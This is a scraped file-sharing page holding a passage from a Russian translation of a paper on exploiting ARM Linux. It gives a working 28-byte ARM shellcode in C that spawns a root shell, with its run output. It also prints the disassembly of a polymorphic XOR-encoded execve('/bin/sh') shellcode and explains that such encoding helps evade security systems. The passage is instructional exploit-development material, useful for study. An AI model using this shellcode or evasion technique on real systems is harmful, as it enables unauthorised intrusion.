Переведено для codeby. Net


Алгоритм 10 Только ARM шеллкод (armonly.c)


Download 0.92 Mb.
Pdf ko'rish
bet29/36
Sana09.05.2023
Hajmi0.92 Mb.
#1449564
TuriРеферат
1   ...   25   26   27   28   29   30   31   32   ...   36
Bog'liq
эксплуатация систем arm linux AFANX

Алгоритм 10 Только ARM шеллкод (armonly.c)
#include
char code[] = ”\x01\x10\x21\xe0”
”\x02\x20\x22\xe0”
”\x04\x30\x9f\xe5”
”\x13\x01\xa0\xe1”
”\x01\xf0\x9f\xe5”
”\x30\x41\x13\x40”
”\x70\x61\x0b\x40”;
int main(void){
fprintf(stdout, ”Length : %d\n”, strlen(code));
(∗(void(∗)())code)();
return 0 ;
}
Давайте попробуем наше маленькое творение:
root@armstation# gcc armonly.c -o armonly
root@armstation# ./armonly
55


Length: 28
sh-3.2# exit
exit
Мы сделали это: шеллкод, использующий только набор инструкций ARM,
длиной 28 байт (всего на один байт длиннее, чем алгоритм 8).
5.3.2 Полиморфные шеллкоды
Это последний технический аргумент данного документа: мы проанализируем
конкретный тип шеллкода, полиморфный.
Мотивов для создания шеллкода, который может модифицировать себя, в
основном два:
1.
Обходить системы безопасности, распознающие известные инструкции
шеллкода.
2.
Кодировать инструкции, которые генерируют нулевой байт, чтобы иметь
возможность использовать их.
3.
В случае архитектуры ARM он также используется для того, чтобы
избежать инструкциq Thumb.
Мы объясним структуру полиморфных шеллкодов на реальном примере. Это
полиморфный шеллкод, опубликованный на exploit-db:
Алгоритм 11 Linux/ARM - Polymorphic execve()
Author : Jonathan Salwan
Web : http://shell−storm.org
== Disassembly of XOR decoder ==
00008054 :
8054 :
e28f6024
add r6, pc, #36 ; 0x24
8058:
e12fff16
bx r6
0000805c :
805c:
e3a040e3
mov r4, #227 ; 0xe3
00008060 :
8060 :
e3540c01
cmp r4, #256 ; 0x100
8064 :
812fff1e
bxhi lr
8068: 
e24440e3
sub r4, r4 , #227 ; 0xe3
806c:
e7de5004
ldrb r5, [lr, r4]
8070:
e2255058
eor r5, r5 , #88 ; 0 x58
8074:
e7ce5004
strb r5, [lr, r4]
8078:
e28440e4
add r4 , r4 , #228; 0xe4
807c:
eafffff7
b 8060
8080:
ebfffff5
bl 805c
== Disassembly of execve(”/bin/sh”, [”/bin/sh”], NULL) ==
56


00008054 :
8054:
e28f6001
add r6, pc, #1 ; 0x1
8058:
e12fff16
bx r6
805c:
4678
mov r0 pc
805e:
300a
adds r0, #10
8060:
9001
str r0, [sp, #4]
...
806a:
2f2f
cmp r7, #47
806c:
6962
ldr r2, [r4, #20]
806e:
2f6e
cmp r7, #110
8070:
6873
ldr r3, [r6, #4]
Мы сообщили только о разборке шеллкодов, потому что именно эта часть нас
интересует(Полный шеллкод - http://www.exploit-db.com/exploits/14190/).
Мы не будем обращать внимание на
"Disassembly of execve("/bin/sh",
["/bin/sh"], NULL)",
поскольку это уже известный нам шеллкод.
Критической являются секции 
debut-0x8, debut 
и
boucle.
Алгоритм начинается как классический шеллкод а-ля Aleph One: выполнение
перескакивает на инструкцию
bl 805c 
(по адресу 0x8080), которая
возвращает счетчик программ обратно.
Это трюк, используемый для загрузки в регистр ссылки адреса шеллкода

Download 0.92 Mb.

Do'stlaringiz bilan baham:
1   ...   25   26   27   28   29   30   31   32   ...   36




Ma'lumotlar bazasi mualliflik huquqi bilan himoyalangan ©fayllar.org 2024
ma'muriyatiga murojaat qiling